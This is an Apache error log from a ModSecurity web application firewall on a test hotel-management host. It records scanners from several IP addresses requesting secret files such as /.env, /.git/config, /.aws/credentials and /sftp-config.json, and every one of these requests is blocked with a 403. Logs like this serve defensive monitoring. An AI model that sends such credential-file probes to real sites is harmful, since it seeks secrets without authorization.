[Sun Apr 20 05:47:11.694492 2025] [:error] [pid 2599012] [client 45.130.203.230:58297] [client 45.130.203.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aARuP7kRSM_wWuOY-YzxKwAAAA4&quot;]
[Sun Apr 20 05:47:11.804567 2025] [:error] [pid 2597529] [client 45.130.203.182:40675] [client 45.130.203.182] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aARuPwZGKWoSh0bB6I5KQAAAAAA&quot;]
[Sun Apr 20 05:47:11.804900 2025] [:error] [pid 2597529] [client 45.130.203.182:40675] [client 45.130.203.182] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aARuPwZGKWoSh0bB6I5KQAAAAAA&quot;]
[Sun Apr 20 05:47:11.805153 2025] [:error] [pid 2597529] [client 45.130.203.182:40675] [client 45.130.203.182] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aARuPwZGKWoSh0bB6I5KQAAAAAA&quot;]
[Sun Apr 20 20:51:27.315420 2025] [:error] [pid 2599010] [client 93.123.109.75:63539] [client 93.123.109.75] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAVCL3NuewUkVloE_4FcyAAAAA0&quot;]
[Sun Apr 20 20:51:27.315712 2025] [:error] [pid 2599010] [client 93.123.109.75:63539] [client 93.123.109.75] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAVCL3NuewUkVloE_4FcyAAAAA0&quot;]
[Sun Apr 20 20:51:27.315913 2025] [:error] [pid 2599010] [client 93.123.109.75:63539] [client 93.123.109.75] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAVCL3NuewUkVloE_4FcyAAAAA0&quot;]
[Mon Apr 21 15:51:38.470620 2025] [:error] [pid 2618015] [client 93.123.109.108:59441] [client 93.123.109.108] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAZNamRxuKR-dqH02HGnPwAAAAY&quot;]
[Mon Apr 21 15:51:38.471028 2025] [:error] [pid 2618015] [client 93.123.109.108:59441] [client 93.123.109.108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAZNamRxuKR-dqH02HGnPwAAAAY&quot;]
[Mon Apr 21 15:51:38.471287 2025] [:error] [pid 2618015] [client 93.123.109.108:59441] [client 93.123.109.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAZNamRxuKR-dqH02HGnPwAAAAY&quot;]
[Wed Apr 23 16:18:01.397660 2025] [:error] [pid 2662069] [client 87.251.78.138:60865] [client 87.251.78.138] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aAj2mchsWZ4ncGg2qoFetgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Wed Apr 23 16:18:01.398830 2025] [:error] [pid 2662069] [client 87.251.78.138:60865] [client 87.251.78.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aAj2mchsWZ4ncGg2qoFetgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Wed Apr 23 16:18:01.399061 2025] [:error] [pid 2662069] [client 87.251.78.138:60865] [client 87.251.78.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aAj2mchsWZ4ncGg2qoFetgAAAAU&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Wed Apr 23 21:54:39.533434 2025] [:error] [pid 2680527] [client 79.124.58.138:44469] [client 79.124.58.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAlFf_jnPF-Pgc6ocdtuqgAAAAk&quot;]
[Wed Apr 23 21:54:39.533642 2025] [:error] [pid 2680527] [client 79.124.58.138:44469] [client 79.124.58.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAlFf_jnPF-Pgc6ocdtuqgAAAAk&quot;]
[Wed Apr 23 21:54:39.533824 2025] [:error] [pid 2680527] [client 79.124.58.138:44469] [client 79.124.58.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAlFf_jnPF-Pgc6ocdtuqgAAAAk&quot;]
[Wed Apr 23 22:18:14.795710 2025] [:error] [pid 2663016] [client 93.123.109.107:59113] [client 93.123.109.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAlLBjm79ZuajFcnEgRb3QAAAAg&quot;]
[Wed Apr 23 22:18:14.796007 2025] [:error] [pid 2663016] [client 93.123.109.107:59113] [client 93.123.109.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAlLBjm79ZuajFcnEgRb3QAAAAg&quot;]
[Wed Apr 23 22:18:14.796198 2025] [:error] [pid 2663016] [client 93.123.109.107:59113] [client 93.123.109.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAlLBjm79ZuajFcnEgRb3QAAAAg&quot;]
[Thu Apr 24 02:52:04.538488 2025] [:error] [pid 2693102] [client 51.44.6.95:56556] [client 51.44.6.95] ModSecurity: Warning. Matched phrase &quot;/sftp-config.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aAmLNHXmUuknoiTgBDAlbQAAAAU&quot;]
[Thu Apr 24 02:52:04.538774 2025] [:error] [pid 2693102] [client 51.44.6.95:56556] [client 51.44.6.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aAmLNHXmUuknoiTgBDAlbQAAAAU&quot;]
[Thu Apr 24 02:52:04.538942 2025] [:error] [pid 2693102] [client 51.44.6.95:56556] [client 51.44.6.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sftp-config.json&quot;] [unique_id &quot;aAmLNHXmUuknoiTgBDAlbQAAAAU&quot;]
[Thu Apr 24 21:14:13.091046 2025] [:error] [pid 2695497] [client 93.123.109.107:51931] [client 93.123.109.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAqNhYz30Bn5fhF9CFq94QAAAAA&quot;]
[Thu Apr 24 21:14:13.091300 2025] [:error] [pid 2695497] [client 93.123.109.107:51931] [client 93.123.109.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAqNhYz30Bn5fhF9CFq94QAAAAA&quot;]
[Thu Apr 24 21:14:13.091483 2025] [:error] [pid 2695497] [client 93.123.109.107:51931] [client 93.123.109.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAqNhYz30Bn5fhF9CFq94QAAAAA&quot;]
[Fri Apr 25 09:37:46.231561 2025] [:error] [pid 2716972] [client 93.123.109.107:58189] [client 93.123.109.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAs7yqaVgsYLhgYx1yfFPgAAAAU&quot;]
[Fri Apr 25 09:37:46.231849 2025] [:error] [pid 2716972] [client 93.123.109.107:58189] [client 93.123.109.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAs7yqaVgsYLhgYx1yfFPgAAAAU&quot;]
[Fri Apr 25 09:37:46.232048 2025] [:error] [pid 2716972] [client 93.123.109.107:58189] [client 93.123.109.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aAs7yqaVgsYLhgYx1yfFPgAAAAU&quot;]
[Tue Apr 29 05:49:28.361831 2025] [authz_core:error] [pid 2806339] [client 142.93.143.8:42170] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Tue Apr 29 05:49:28.688552 2025] [:error] [pid 2806341] [client 142.93.143.8:42202] [client 142.93.143.8] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aBBMSN0gW0z_Vc1yvbVWaAAAAAc&quot;]
[Tue Apr 29 05:49:28.688777 2025] [:error] [pid 2806341] [client 142.93.143.8:42202] [client 142.93.143.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aBBMSN0gW0z_Vc1yvbVWaAAAAAc&quot;]
[Tue Apr 29 05:49:28.688959 2025] [:error] [pid 2806341] [client 142.93.143.8:42202] [client 142.93.143.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aBBMSN0gW0z_Vc1yvbVWaAAAAAc&quot;]
[Tue Apr 29 05:49:28.798278 2025] [:error] [pid 2806367] [client 142.93.143.8:42210] [client 142.93.143.8] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBBMSJ60OFMj0jMB4s_U6gAAAAE&quot;]
[Tue Apr 29 05:49:28.798505 2025] [:error] [pid 2806367] [client 142.93.143.8:42210] [client 142.93.143.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBBMSJ60OFMj0jMB4s_U6gAAAAE&quot;]
